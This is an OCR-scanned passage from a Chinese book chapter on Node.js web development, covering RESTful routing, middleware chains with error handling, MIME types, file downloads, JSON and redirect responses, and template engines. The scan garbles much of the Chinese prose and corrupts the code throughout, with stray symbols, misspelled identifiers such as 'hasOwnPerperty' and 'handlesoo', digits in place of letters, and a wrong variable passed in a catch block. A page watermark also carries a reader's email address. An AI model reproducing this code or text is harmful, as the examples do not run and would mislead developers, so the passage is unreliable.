['get', 'put', 'delete', 'post'].forEach(function (method) { 
routes[method| = [|]; 
app[method] = function (path, action) { 

routes[method].push([pathRegexp(path), action|]); 

}; 

}); 

上 面 的 代码 添加 了 get()、put()、delete()、post()4 个 方法 后 ,我 们 希望 通过 如 下 的 方式 完 

成 路 由 映射 : 

// 增加 用 户 

app.post('/user/:username' , addUser); 

// 删除 用 户 


app.delete('/user/:username' , removeUser); 
// 修改 用 户 
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app.put('/user/:username', updateUser); 
// 查询 用 户 
app.get('/user/:username', getUser); 


这 样 的 路 由 能 够 识别 请 求 方法 ,并 将 业务 进行 分 发 。 为 了 让 分 发 部 分 更 简洁 , 我们 先 将 匹配 
的 部 分 抽取 为 match() 方 法 ， 如 下 所 示 : 


var match = function (pathname, routes) { 
for (var i = 0; i «< routes.length; i++) { 
var route = routes[i]; 
// 正则 匹配 
var reg = route[0|].regexp; 
var keys = route[0].keys; 
var matched = reg.exec(pathname); 
if (matched) { 
// 抽取 具体 值 
var params = {}; 
for (var i = 0, 1 = keys.length; i < 1; i++) { 
var value = matched[i + 1]; 
if (value) { 
params[keys[i]] = value; 
} 
} 


red.params = params, 


var action = routel[1|]; 
action(req, res); 
return true ; 
} 
} 


return false; 


] 
然后 改进 我 们 的 分 发 部 分 ， 如 下 所 示 : 


function (req, res) { 
var pathname = url.parse(req.url).pathname; 
// 将 请 求 方法 变 为 小 写 
var method = req.method.toLowerCase(); 
if (routes.hasOwnPerperty(method)) { 
// 根据 请 求 方 法 分 发 
if (match(pathname, routes[method])) { 
return; 
} else { 
// 如 果 路 径 没有 匹配 成 功 ， 尝 试 让 all() 来 处 理 
if (match(pathname, routes.all)) { 
return,; 
} 
} 
} else { 
// 直接 让 al1() 来 处 理 
if (match(pathname, routes.all)) { 
return; 


} 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


210 第 8 章 ”构建 Web 应 用 


} 

// 处 理 404 请 求 

handle404(req, res); 
} 


如 些 ， 我 们 完成 了 实现 RESTful 支 持 的 必要 条 件 。 这 里 的 实现 过 程 采 用 了 手工 映 册 的 方法 完 
成 ， 事 实 上 通过 目 然 映射 也 能 完成 RESTful 的 文 持 ， 但 是 根据 Controller/Action 的 约定 必须 要 转 
化 为 Resource/Method 的 约定 ， 此 处 已 经 引出 实现 思路 ， 不 再 详 述 。 

目前 RESTful 应 用 已 经 开始 广泛 起 来 , 随 着 业务 逻辑 前 问 化 、 客 户 并 的 多 样 化 ，RESTful 模 式 
以 其 轻 量 的 设计 ， 得 到 广大 开发 者 的 青睐 。 对 于 多 数 的 应 用 而 言 ， 只 需要 构建 一 套 RESTful 服 务 
接口 ， 就 能 适应 移动 端 、PC 端 的 各 种 客户 端 应 用 。 


8.4 中 间 件 


上 请 段 式 地 接触 完 Web 应 用 的 基础 功能 和 路 由 功能 后 , 我们 发 现 从 啊 应 Hello Wor1d 的 示例 代码 
到 实际 的 项 目 ， 其 实 有 太 多 琐碎 的 细节 工作 要 完成 ， 上 述 内 容 只 是 介绍 了 主要 的 部 分 。 对 于 Web 
应 用 而 言 ， 我 们 和 硕 望 不 用 接触 到 这 人 么 多 细节 性 的 处 理 ， 为 此 我 们 引入 中 间 件 《middleware ) 来 简 
化 和 隔离 这 些 基 础 设施 与 业务 逻辑 之 间 的 细 记 ,让 开发 者 能 够 关注 在 业务 的 开发 上 ,以 达到 提升 
开发 效率 的 目的 。 

在 最 早 的 中 间 件 的 定义 中 , 它 是 一 种 在 操作 系统 上 为 应 用 软件 提供 服务 的 计算 机 软件 。 它 既 
不 是 操作 系统 的 一 部 分 , 也 不 是 应 用 软件 的 一 部 分 , 它 处 于 操作 系统 与 应 用 软件 之 间 ， 让 应 用 软 
件 更 好 、 更 方便 地 使 用 底层 服务 。 如 今 中 间 件 的 含义 借 指 了 这 种 封 效 底层 细节 ， 为 上 层 提 供 更 方 
便服 务 的 意义 ,并 非 限 定 在 操作 系统 层面 。 这 里 要 提 到 的 中 间 件 ， 就 是 为 我 们 封装 上 文 提 及 的 所 
有 HTTP 请 求 细 节 处 理 的 中 间 件 ， 开 发 者 可 以 脱离 这 部 分 细节 ， 专 广 在 业务 上 。 

中 间 件 的 行为 比较 类 似 Java 中 过 滤 右 (filter ) 的 工作 原理 , 就 是 在 进入 具体 的 业务 处 理 之 前 ， 
先 让 过 滤 希 处 理 。 它 的 工作 模型 如 图 8-4 所 示 。 

如 同 图 8-4 所 示 ， 从 HTTP 请 求 到 具体 业务 逻辑 之 间 ， 其 实 有 很 多 的 细节 要 处 理 。Node 的 http 
模块 提供 了 应 用 层 协 议 网 络 的 封 汉 , 对 具体 业务 并 没有 支持 ,在 业务 逻辑 之 下 ,必须 有 开发 框架 
对 业务 提供 支持 。 这 里 我 们 通过 中 间 件 的 形式 搭建 开发 框架 ,这 个 开发 框架 用 来 组 织 各 个 中 间 件 。 
对 于 Web 应 用 的 各 种 基础 功能 ， 我们 通过 中 间 件 来 完成 ， 每 个 中 间 件 处 理 挥 相对 简单 的 逻辑 ， 最 
终 汇 成 强大 的 基础 框架 。 

由 于 中 间 件 就 是 前 述 的 那些 基本 功能 ， 所 以 它 的 上 下 文 也 束 是 请 求 对 象 和 响应 对 象 : req 和 
res。 有 一 点 区 别 的 是 ， 由 于 Node 异 步 的 原因 ， 我 们 需要 提供 一 种 机 制 ， 在 当前 中 间 件 处 理 完 成 
后 ,通知 下 一 个 中 间 件 执行 。 在 第 4 章 中 其 实 已 经 对 中 间 件 做 了 介绍 ， 这 里 我 们 还 是 采用 Connect 
的 设计 ， 通 过 尾 触 发 的 方式 实现 。 一 个 基本 的 中 间 件 会 是 如 下 的 形式 : 

var middleware = function (req, res, next) { 

// TODO 


next(); 
} 
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图 8-4 中 间 件 的 工作 模型 


按照 预期 的 设计 ， 我们 为 具体 的 业务 逻辑 添加 中 间 件 应 该 是 很 轻松 的 事情 ， 通 过 框架 文 持 ， 
能 够 将 所 有 的 基础 功能 支持 串联 起 来 ， 如 下 所 示 : 
app.use('/user/:username', querystring, cookie, session, function (req, res) { 


// TODO 
六 


这 里 的 querystring、cookie、session 中 间 件 与 前 文摘 述 的 功能 大 同 小 异 如 下 所 示 : 


// querystring 解 析 中 间 件 

var querystring = function (req, res, next) { 
req.query = url.parse(req.url, true).query; 
next(); 


}; 
// cookie 解 析 中 间 件 
var cookie = function (req, res, next) { 
var cookie = req.headers.cookie; 
var cookies = {}; 
if (cookie) { 
var list = cookie.split(';'); 
for (var i = 0; i «< list.length; i++) { 
var pair = list[i].split('="); 
cookies[pair[0].trim()] = pair[1]; 


} 


req.cookies = cookies; 
next(); 
}; 


可 以 看 到 这 里 的 中 间 件 都 是 十 分 简 滞 的 , 接 下 来 我 们 需要 组 织 起 这 些 中 间 件 。 这 里 我 们 将 路 
由 分 离开 来 ， 将 中 间 件 和 具体 业务 逻辑 都 看 成 业务 处 理 单元 ， 改 进 use() 方 法 如 下 所 示 : 
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app.use = function (path) { 
var handle = { 
// 第 一 个 参数 作为 路 径 
path: pathRegexp(path ) ， 
// 其 他 的 都 是 处 理 单 元 
stack: Array.prototype.slice.call(arguments, 1) 
}; 
routes.all.push(handle); 
}; 


改进 后 的 use() 方 法 将 中 间 件 都 存 进 了 stack 数 组 中 保存 ， 等 待 匹配 后 触发 执行 。 由 于 结构 发 
生 改 变 ， 那么 我 们 的 匹配 部 分 也 需要 进行 修改 ， 如 下 所 示 : 


var match = function (pathname, routes) { 
for (var i = 0; i «< routes.length; i++) { 
Var route = routes[i]; 
// 正则 匹配 
var reg = route.path.regexp; 
var matched = reg.exec(pathname); 
if (matched) { 
// 抽取 具体 值 
// 代码 和 痢 略 
// 将 中 间 件 数组 交 给 handle() 方 法 处 理 
handle(req, res, route.stack); 
return true; 
} 
} 


return false; 


}; 

一 旦 匹配 成 功 ， 中 间 件 具体 如 何 调动 都 交 给 了 handle() 方 法 处 理 ， 该 方法 封装 后 ， 递 归 性 地 
执行 数组 中 的 中 间 件 ,每 个 中 间 件 执行 完成 后 ,按照 约定 调用 传人 next() 方 法 以 触发 下 一 个 中 间 
件 执行 〈 或 者 直接 啊 应 )， 下 到 最 后 的 业务 逻辑 。 代 码 如 下 所 示 : 


var handle = function (req, res, stack) { 
var next = function () { 
// 从 stack 数 组 中 取出 中 间 件 并 执行 
var middleware = stack.shift(); 
if (middleware) { 
// 传 入 next() 沁 数 自身 ,使 中 间 件 能 够 执行 结束 后 递归 
middleware(req, res, next); 
} 
}; 


// 启动 执行 
next(); 
}; 
这 里 带 来 的 疑问 是 ， 像 querystring、cookie、session 这 样 基础 的 功能 中 间 件 是 否 需 要 为 每 
个 路 由 虱 进 行 设置 呢 ? 如 东 都 设置 将 会 演变 成 如 下 的 路 由 配置 : 
app.get('/user/:username', querystring, cookie, session, getUser); 


app.put('/user/:username', querystring, cookie, session, updateUser); 
// 更 多 路 由 
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为 每 个 路 由 都 配置 中 间 件 并 不 是 一 个 好 的 设计 , 既然 中 间 件 和 业务 逻辑 是 等 价 的 , 那么 我 们 
是 否 可 以 将 路 由 和 中 间 件 进行 结合 ?设计 是 否 可 以 更 人 性 ?” 既 能 照顾 普 适 的 需求 , 又 能 照顾 特殊 
的 需求 ? 答案 是 Yes， 如 下 所 示 : 


app.use(querystring); 

app.use(cookie); 

app.use(session); 

app.get('/user/:username', getUser); 
app.put('/user/:username', authorize, updateUser); 


为 了 满足 更 灵活 的 设计 ， 这 里 持续 改进 我 们 的 use() 方 法 以 适应 参数 的 变化 ， 如 下 所 示 : 


app.use = function (path) { 
var handle; 
if (typeof path === 'string') { 
handle = { 
// 第 一 个 参数 作为 路 径 
path: pathRegexp(path), 
// 其 他 的 都 是 处 理 单元 
stack: Array.prototype.slice.call(arguments, 1) 
}; 
} else { 
handle = { 
// 第 一 个 参数 作为 路 径 
path: pathRegexp('/'), 
// 其 他 的 都 是 处 理 单元 
stack: Array.prototype.slice.call(arguments, 0) 


}; 


routes.all.push(handle); 
}; 


除了 改进 use() 方 法 外 ， 还 要 持续 改进 我 们 的 匹配 过 程 ， 与 前 面 一 旦 一 次 匹配 后 就 不 再 执行 
后 续 匹 配 不 同 , 还 会 继续 后 续 敢 辑 , 这 里 我 们 将 所 有 匹配 到 中 间 件 的 都 暂时 保存 起 来 , 如 下 所 示 ; 


var match = function (pathname, routes) { 
var stacks : 
for (var i = 0; i «< routes.length; i++) { 
Var route = routes[i]; 
// 正则 匹配 
var reg = route.path.regexp; 
var matched = reg.exec(pathname); 
if (matched) { 
// 抽取 具体 值 
// 代码 肖 辐 
// 将 中 间 件 都 保存 起 来 
stacks = stacks.concat(route.stack); 
} 
} 


return stacks; 


上 
改进 完 use() 方 法 后 ， 还 要 持续 改进 分 发 的 过 程 : 
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function (req, res) { 

var pathname = url.parse(req.url1).pathname; 

// 将 请 求 方法 变 为 小 写 

var method = req.method.toLowerCase(); 

// 获取 all() 方 法 里 的 中 间 件 

var stacks = match(pathname, routes.all); 

if (routes.hasOwnPerperty(method)) { 
// 根据 请 求 方法 分 发 ， 获 取 相 关 的 中 间 件 
stacks.concat(match(pathname, routes[method])); 


} 


if (stacks.length) { 
handle(req, res, stacks); 
} else { 
// 处 理 404 请 求 
handle404(req, res); 
} 
} 


综 上 所 述 ,， 通过 中 间 件 和 路 由 的 协作 ， 我 们 不 知 不 沈 之 间 已 经 将 复杂 的 事情 简化 下 来 ，Web 
应 用 开发 者 可 以 只 关注 业务 开发 束 能 胜任 整个 开发 工作 。 


8.4.1 异常 处 理 


但 是 等 等 , 如 果 某 个 中 间 件 出 现 错误 该 怎么 办 ? 我们 需要 为 自己 构建 的 Web 应 用 的 稳定 性 和 健 
壮 性 人 负责。 于 是 我 们 为 next() 方 法 添加 err 参 数 ， 并 捕获 中 间 件 直接 抛 出 的 同步 异常 ， 如 下 所 示 : 
var handle = function (req, res, stack) { 
var next = function (err) { 
if (err) { 
return handlesoo(err, req, res, stack); 


// 从 stack 数 组 中 取出 中 间 件 并 执行 
var middleware = stack.shift(); 
if (middleware) { 
// 传 入 next() 函 数 自身 ， 使 中 间 件 能 够 执行 结束 后 递归 
try { 
middleware(req, res, next); 
} catch (ex) { 
next (err); 
} 
} 
}; 


// 启动 执行 
next(); 
}; 


由 于 异步 方法 的 异常 不 能 直接 捕获 ( 在 第 4 章 中 有 过 阐述 ), 中 间 件 异步 产生 的 异常 需要 目 己 
传递 出 来 ， 如 下 所 示 : 


var session = function (req, res, next) { 
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var id = req.cookies.sessionid; 
store.get(id, function (err, session) { 
if (err) { 
// 将 异常 通过 next() 传 递 
return next(err); 


} 


req.session = session; 
next(); 
}); 
}; 
Next() 方 法 接 到 异常 对 象 后 , 会 将 其 交 给 handle500() 进 行 处 理 。 为 了 将 中 间 件 的 思想 延续 下 
去 ,我 们 认为 进行 异常 处 理 的 中 间 件 也 是 能 进行 数组 式 处 理 的。 由 于 要 同时 传递 异 肖 ,所 以 用 于 
处 理 异常 的 中 间 件 的 设计 与 普通 中 间 件 略 有 差别 ， 它 的 参数 有 4 个 ， 如 下 所 示 : 


var middleware = function (err, req, res, next) { 
// TODO 
next(); 

je 


我 们 通过 use() 可 以 将 所 有 异 第 人 处理 的 中 间 件 注册 起 来 ， 如 下 所 示 : 


app.use(function (err, req, res, next) { 
// TODO 
}); 


为 了 区 分 普通 中 间 件 和 异常 处 理 中 间 件 ，handle500() 方 法 将 会 对 中 间 件 按 参数 进行 进行 选 
然后 递归 执行 。 

var handle500 = function (err, req, res, stack) { 

// 选取 异常 处 理 中 间 件 


stack = stack.filter(function (middleware) { 
return middleware.length === 4; 


}); 


var next = function () { 
// 从 stack 数组 中 取出 中 间 件 并 执行 
var middleware = stack.shift(); 
if (middleware) { 
// 传递 异常 对 象 
middleware(err, req, res, next); 
} 
}; 


// 启动 执行 
next(); 
}; 


8.4.2 中间 件 与 性 能 


前 文 我 们 添加 了 强大 的 中 间 件 组 织 能 力 ， 如 来 注意 到 一 个 现象 的 话 , 那 就 是 我 们 的 业务 欣 辑 
往往 是 在 最 后 才 执行 。 为 了 让 业务 逻辑 提早 执行 ,尽早 啊 应 给 终端 用 户 ， 中 间 件 的 编写 和 使 用 是 
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需要 一 得 考究 的 。 下 面 是 两 个 主要 的 能 提升 的 点 。 

口 编写 高 效 的 中 间 件 。 

口 合理 利用 路 由 ， 避 免 不 必 要 的 中 间 件 执行 。 

1. 编写 高 效 的 中 间 件 

编写 高 效 的 中 间 件 其 实 就 是 提升 单个 处 理 单 元 的 处 理 速度 ， 以 尽早 调用 next() 执 行 后 续 逻 
辑 。 需 要 知道 的 事情 是 , 一 旦 中 间 件 被 匹配 ,那么 每 个 请 求 都 会 使 该 中 间 件 执行 一 次 ， 哪怕 它 只 
浪费 1 毫秒 的 执行 时 间 ， 都 会 让 我 们 的 QPS 显 车 下降 。 常 见 的 优化 方法 有 几 种 。 

口 使 用 高 效 的 方法 。 必 要 时 通过 jsperf.com 测 试 基准 性 能 。 

口 缓存 需 要 重复 计算 的 结 有 末 (〈 需 要 控制 缓存 用 量 ， 原 因 在 第 $ 章 前 述 过 )。 

口 避免 不 必要 的 计算 。 比 如 HTTP 报 文体 的 解析 ， 对 于 GET 方 法 完全 不 需要 。 

2. 合理 使 用 路 由 

在 拥有 一 堆 高 效 的 中 间 件 后 , 并 不 意味 春 每 个 中 间 件 我 们 都 使 用 , 合理 的 路 由 使 得 不 必要 的 
中 间 件 不 参与 请 求 处 理 的 过 程 。 这 里 以 一 个 示例 来 说 明 该 问题 。 

假设 我 们 这 里 有 一 个 静态 文件 的 中 间 件 ， 它 会 对 请 求 进行 判断 ， 如 果 人 磁盘 上 存在 对 应 文件 ， 
就 啊 应 对 应 的 静态 文件 ， 否 则 就 交 由 下 游 中 间 件 处 理 ， 如 下 所 示 : 


var staticFile = function (req, res, next) { 
var pathname = url.parse(req.url1).pathname; 


fs.readFile(path.join(ROOT, pathname), function (err, file) { 

if (err) { 
return next(); 

} 
res .writeHead(200); 
res.end(file); 

}); 

}; 


如 果 我 们 以 如 下 的 方式 注册 路 由 : 

app.use(staticrile); 

那么 意味 着 对 /路 径 下 的 所 有 URL 请 求 都 会 进行 判断 。 又 由 于 它 中 间 涉 及 到 了 磁盘 IO， 如 采 成 
功 匹 配 , 它 的 效率 还 行 , 但 是 如 果 不 成 功 匹 配 , 每 次 的 磁盘 VO 都 是 对 性 能 的 浪费 , 使 QPS 耻 线 下 降 。 

对 于 这 种 情况 ， 我 们 需要 做 的 是 提升 匹配 成 功率 ， 那 么 就 不 能 使 用 默认 的 /路 径 来 进行 匹配 
了 ， 因 为 它 的 误伤 座 太 高 。 给 它 添加 一 个 更 好 的 路 由 路 径 是 个 不 错 的 选择 ， 如 下 所 示 : 

app.use('/public', staticFile); 

这 样 只 有 /public 路 径 会 严 配 上 ， 其 余 路 径 根 本 不 会 涉及 该 中 间 件 。 


8.4.3 小结 


中 间 件 使 得 前 文 的 基础 功能 , 从 姿 乱 的 发 散 状态 收敛 成 很 规整 的 组 织 方式 。 对 于 单个 中 间 件 
而 言 , 它 足 够 简单 , 职责 单一 。 与 像 面条 一 样 杀 灶 在 一 起 的 逻辑 判 新 相 比 , 它 具 备 更 好 的 可 测试 性 。 
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中 间 件 机 制 使 得 Web 应 用 具备 良好 的 可 扩展 性 和 可 组 合 性 ,可 以 轻易 地 进行 数据 增删 。 从 某 种 角度 
来 讲 它 就 是 Unix 哲 学 的 一 个 实现 ， 专 注 简单 ， 小 而 美 ， 然 后 通过 组 合 使 用 ， 发 挥 出 强大 的 能 量 。 

中 间 件 是 Connect 的 经 典 模式 ， 通 过 本 市 的 叙述 ， 我 们 已 经 可 以 看 到 整个 Connect 是 如 何 搭 建 
轮廓 的 。 本 节 试 图 解释 Web 开 发 过 程 的 前 置 思路 ,省 略 了 许多 细节 ,尽管 与 实际 的 Connect 代 码 不 
尽 相 同 ， 和 希望 借 肴 这些 思 路 ， 每 位 开发 者 都 能 独立 写 出 适应 自己 业务 需求 的 框架 。 


8.5 ”页 面 泻 染 


通过 中 间 件 机 制 组 织 基 础 功能 完成 我 们 的 请 求 预 处 理 后 , 不 管 是 通过 MVC 还 是 通过 RESTful 
路 由 ， 开 发 者 或 者 是 调用 了 数据 库 , 或 者 是 进行 了 文件 操作 ,或 者 是 处 理 了 内 存 ， 这 时 我 们 终于 
来 到 了 啊 应 客户 端的 部 分 了 。 这 里 的 “页 面 泻 染 ”是 个 狭义 的 标题 ,我们 其 实 啊 应 的 可 能 是 一 个 
HTML 网 页 ， 也 可 能 是 CSS、JS 文 件 , 或 者 是 其 他 多 媒体 文件 。 这 里 我 们 要 承接 上 文 谈论 的 HTTP 
咯 应 实现 的 技术 细 市 ， 主 要 包含 内 容 啊 应 和 页 面 演 染 两 个 部 分 。 

对 于 过 去 流行 的 ASP、PHP 、JSP 等 动态 网 页 技术 , 页面 演 染 是 一 种 内 置 的 功能 。 但 对 于 Node 
来 说 ， 它 并 没有 这 样 的 内 置 功能 ,在 本 节 的 介绍 中 ， 你 会 看 到 正 是 因为 标准 功能 的 缺失 ,我 们 可 
以 更 贴近 底层 ， 发 展 出 更 多 更 好 的 泻 染 技术 ， 社 区 的 创造 力 使 得 Node 在 HITTP 啊 应 上 呈现 出 更 加 
丰富 多 彩 的 状态 。 


8.5.1 内 容 啊 应 


在 第 7 章 我 们 介绍 了 http 模 块 封装 了 对 请 求 报 文 和 啊 应 报 文 的 操作 ， 在 这 里 我 们 则 展开 说 明 
应 用 层 该 如 何 使 用 啊 应 的 封 闻 。 服 务 硕 问 啊 应 的 报 文 ,最终 都 要 被 终端 处 理 。 这 个 终端 可 能 是 命 
令 行 终端 ， 也 可 能 是 代码 终端 ,也 可 能 是 浏览 硕 。 服 务 希 问 的 啊 应 从 一 定 程 度 上 决定 或 指示 了 客 
户 端 该 如 何 处 理 啊 应 的 内 容 。 

内 容 啊 应 的 过 程 中 ， 啊 应 报头 中 的 Content-* 字 段 十 分 重要 。 在 下 面 的 示例 啊 应 报 文 中 ， 服 
务 闪 告知 客户 山内 容 是 以 gzip 编 码 的 ， 其 内 容 长 度 为 21 170 个 字 和 有 有， 内 容 类 型 为 JavaScript， 字 符 
集 为 UTF-8: 


Content-Encoding: gzip 
Content-Length: 21170 
Content-Type: text/javascript; charset=utf-8 


客户 端 在 接收 到 这 个 报 文 后 ， 正 确 的 处 理 过 程 是 通过 gzip 来 解码 报 文 体 中 的 内 容 ， 用 长 度 校 
验 报 文体 内 容 是 否 正确 ， 然 后 再 以 字符 集 UTF-8 将 解码 后 的 脚本 搬入 到 文档 节点 中 。 

1. MIME 

如 果 想 要 客户 问 用 正确 的 方式 来 处 理 啊 应 内 容 ， 了 解 MIME 必 不 可 少 。 可 以 先 猿 想 一 下 下 面 
两 段 代 人 码 在 客户 问 会 有 什么 样 的 差异 : 

res.writeHead(200, {'Content-Type': 'text/plain'}); 


res.end('<html><body>Hello World</body></html>\n'); 
// 或 者 
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res.writeHead(200, {'Content-Type': 'text/html'}); 
res.end('<html><body>Hello World</body></html>\n'); 


在 网 页 中 ， 前 者 显示 的 是 chtml><body>Hello World</body></html>， 而 后 者 只 能 看 到 Hello 
World， 如 图 8-5 所 示 。 


<html><body>Hello world</body></html> 


图 8-5 ”Content-Type 字 上段 值 不 同 使 网 页 显示 的 内 容 不 同 


没 错 ， 引 起 上 述 差 异 的 原因 就 在 于 它们 的 Content-Type 字 有 段 的 值 是 不 同 的 。 浏 览 右 对 内 容 采 
用 了 不 同 的 处 理 方式 ,前 者 为 纯 文本 , 后 者 为 HTML，, 并 演 染 了 DOM 树 。 浏览 兹 正 是 通过 不 同 的 
Content-Type 的 值 来 决定 采用 不 同 的 泻 染 方式 ， 这 个 值 我 们 人 徇 称 为 MIME 值 。 

MIME 的 全 称 是 Multipurpose Internet Mail Extensions， 从 名 字 可 以 看 出 ， 它 最 早 用 于 电子 邮 
件 ， 后 来 也 应 用 到 浏览 各 中 。 不 同 的 文件 类 型 具有 不 同 的 MIME 值 ， 如 JSON 文 件 的 值 为 
application/json、XML 文 件 的 值 为 application/xml]、PDF 文 件 的 值 为 application/pdf。 

为 了 方便 获知 文件 的 MIME 值 ， 社 区 有 专 有 的 mime 模 块 可 以 用 判 段 文 件 类 型 。 它 的 调用 十 分 
简单， 如 下 所 示 : 


var mime = require('mime'); 


mime.lookup('/path/to/file.txt'); // => 'text/plain' 
mime.lookup('file.txt'); // => 'text/plain' 
mime.lookup(' .TXT'); // => 'text/plain' 
mime.lookup('htm' ) ; // => 'text/html' 


除了 MIME 值 外 ，Content-Type 的 值 中 还 可 以 包含 一 些 参 数 ， 如 字符 集 。 示 例如 下 : 
Content-Type: text/javascript; charset=utf-8 


2. 附件 下 载 

在 一 些 场景 下 ， 无 论 响应 的 内 容 是 什么 样 的 MIME 值 ， 需 求 中 并 不 要 求 客 户 端 去 打开 它 ， 只 
需 弹 出 并 下 载 它 即 可 。 为 了 满足 这 种 需求 ，Content-Disposition 字 段 应 声 登 场 。Content- 
Disposition 字 段 影响 的 行为 是 客户 端 会 根据 它 的 值 判断 是 应 该 将 报 文 数据 当做 即时 浏览 的 内 
容 ， 还 是 可 下 载 的 附件 。 当 内 容 具 需 即 时 查看 时 ， 它 的 值 为 inline， 当 数据 可 以 存 为 附件 时 ， 它 
的 值 为 attachment。 另外 , Content-Disposition 字 段 还 能 通过 参数 指定 保存 时 应 该 使 用 的 文件 名 。 
示例 如 下 : 

Content-Disposition: attachment; filename="filename.ext" 

如 果 我 们 要 设计 一 个 啊 应 附件 下 载 的 API (res.sendfile )， 我 们 的 方法 大 致 是 如 下 这 样 的 : 


res.sendfile = function (filepath) { 
fs.stat(filepath, function(err, stat) { 
var stream = fs.createReadStream(filepath); 
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// 设置 内 容 
res.setHeader('Content-Type', mime.lookup(filepath)); 
// 设置 长 度 
res.setHeader('Content-Length', stat.size); 
// 设置 为 附件 
res.setHeader('Content-Disposition' 'attachment; filename="' + path.basename(filepath) + '"'); 
res.writeHead(200); 
stream.pipe(res); 
}); 
}; 


3. 响应 JSON 
为 了 快捷 地 啊 应 JSON 数 据 ， 我 们 也 可 以 如 下 这 样 进行 封 污 : 


res.json = function (json) { 
res.setHeader('Content-Type', 'application/json'); 
res .writeHead(200); 
res.end(JSON. stringify(json)); 
4. 响应 跳 转 
当 我 们 的 URL 因 为 某 些 问题 ( 壁 如 权限 限制 ) 不 能 处 理 当 前 请 求 ， 需 要 将 用 户 跳 转 到 别 的 


URL 时 ， 我 们 也 可 以 封 疙 出 一 个 快捷 的 方法 实现 跳 转 ， 如 下 所 示 : 


res.redirect = function (url) { 
res.setHeader('Location' , url); 
res.writeHead(302); 
res.end('Redirect to ' + ur]l); 


局 


8.5.2 ”视图 泻 染 


Web 应 用 的 内 容 啊 应 形式 十 分 丰富 ， 可 以 是 静态 文件 内 容 ， 也 可 以 是 其 他 附件 文件 ， 也 可 以 
是 跳 转 等 。 这 里 我 们 回 到 主流 的 普通 的 HIML 内 容 的 啊 应 上 ， 总 称 视图 泻 染 。Web 应 用 最 终 呈 现 
在 界面 上 的 内 容 ， 都 是 通过 一 系列 的 视图 演 染 呈现 出 来 的 。 在 动态 页 面 技术 中 ， 最 终 的 视图 是 由 
模板 和 数据 共同 生成 出 来 的 。 

模板 是 带 有 特殊 标签 的 HTML 片段 ， 通 过 与 数据 的 泻 染 ， 将 数据 填充 到 这 些 特殊 标签 中 ， 最 
后 生成 普通 的 高 数据 的 HTML 片 段 。 通 常 我 们 将 演 染 方法 设计 为 render()， 参 数 就 是 模板 路 径 和 
数据 ， 如 下 所 示 : 


res.render = function (view, data) { 
res.setHeader('Content-Type', 'text/html'); 
res.writeHead(200); 
// 实际 演 米 
var html = render(view, data); 
res.end(html); 

}; 


在 Node 中 ， 数 据 目 然 是 以 JSON 为 首选 ， 但 是 模板 部 有 太 多 选择 可 以 使 用 了 。 上 面 代码 中 的 
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render() 我 们 可 以 将 其 看 成 是 一 个 约定 接口 ， 接 受 相 同 参数 ， 最 后 返回 HTML 片段 。 这 样 的 方法 
我 们 都 视 作 实现 了 这 个 接口 。 


8.5.3 ”模板 


最 早 的 服务 需 端 动态 页 面 开 发 ， 是 在 CGI 程序 或 servlet 中 输出 HIML 户 段 ， 通 过 网 络 流 输出 
到 客户 问 ， 客 户 闹 将 其 泻 染 到 用 户 界 面 上 。 这 种 逻辑 代码 与 HTML 输 出 的 代码 混杂 在 一 起 的 开发 
方式 ， 导 任 一 个 小 小 的 UI 改动 都 要 大 动 十 戈 ， 其 至 需要 重新 编译 。 为 了 改良 这 种 情况 ,使 HTML 
与 逻辑 代码 分 离开 来 ,众生 出 一 些 服务 各 病 动态 网 页 技术 ， 如 ASP、PHP、JSP。 它们 将 动态 语言 
部 分 通过 特殊 的 标签 ( ASP 和 JSP 以 <%%> 作 为 标志 , PHP 则 以 <? ?> 作为 标志 ) 包 含 起 来 ,通过 HTML 
和 模板 标签 混 排 ,将 开发 者 从 输出 HTML 的 工作 中 解脱 出 来 。 这 样 的 方法 虽然 一 定 程度 上 减轻 了 
开发 维护 的 难度 ， 但 是 页 面 里 还 是 充斥 看 大 量 的 逻辑 代码 。 这 众 牛 了 MVC 在 动态 网 页 技术 中 的 
发 展 ，MVC 将 逻辑 、 显 示 、 数 据 分 离开 来 的 方式 ， 大 大 提高 了 项 目的 可 维护 性 。 其 中 模板 技术 
就 在 这 样 的 发 展 中 逐渐 成 熟 起 来 的 。 

尽管 模板 技术 看 起 来 在 MVC 时 期 才 广 泛 使 用 ， 但 不 可 否认 的 是 如 ASP、PHP、JSP， 它 们 其 
实 就 是 最 早 的 模板 技术 。 模 板 技术 虽然 多 种 多 样 , 但 它 的 实质 就 是 将 模板 文件 和 数据 通过 模板 引 
掌 生 成 最 终 的 HTML 人 代码。 形成 模板 技术 的 也 就 如 下 4 个 要 素 。 

口 模板 语言 。 

口 包含 模板 霹 言 的 模板 文件 。 

口 拥有 动态 数据 的 数据 对 和 象 。 

口 模板 引擎 。 

对 于 ASP、PHP 、JSP 而 言 ， 模板 属于 服务 右 问 动态 页 面 的 内 置 功能 , 模板 语言 就 是 它们 的 笨 
主语 言 (VBScript、JScript、PHP 、Java )， 模 板 文件 就 是 以 .php、.asp、.jsp 为 后 级 的 文件 ， 模 板 
引擎 就 是 Web 容 需 。 

这 个 时 期 的 模板 极度 依赖 上 上 下文， 甚至 要 处 理 整个 HTTP 的 请 求 对 象 。 随 后 模板 语言 的 发 展 
使 得 模板 可 以 脱离 上 下 文 环境 ， 只 有 数据 对 象 就 可 以 执行 。 如 PHP 中 的 PHPLIB Template 和 
FastTemplate 、Java 的 XSTL， 以 及 Velocity 、JDynamiTe 、Tapestry 等 模板 。 

这 类 模板 的 缺点 在 于 它 的 实现 与 箱 主 语言 有 很 大 的 关联 性 , 由 于 各 种 语言 采用 的 模板 语言 不 
同 , 包含 各 种 特殊 标记 , 导致 移植 性 较 差 。 早期 的 企业 一 旦 选 定 编程 语言 就 不 会 轻易 地 转换 环境 ， 
所 以 较 少 有 开发 者 去 开发 新 的 模板 语言 和 模板 引 苟 来 适应 不 同 的 编程 语言 。 如 今 异 构 系统 越 来 越 
多 ， 人 模板 能 够 应 用 到 多 门 编程 语言 中 的 这 种 需求 也 开始 呈现 出 来 。 

破局 者 是 Mustache， 它 宣称 上 月 己 是 弱 逻 辑 的 模板 ( logic-less templates )， 定 义 了 以 {{}} 为 标 
志 的 一 套 模板 语言 , 并 给 出 了 十 多 门 编程 语言 的 模板 引擎 实现 , 使 得 采用 它 作为 模板 具备 很 好 的 
可 移植 性 。 但 随 春 Node 在 社区 的 发 展 ， 思 路 很 快 被 打开 , 模板 霹 言 可 以 随意 创造 ,模板 引 擎 也 可 
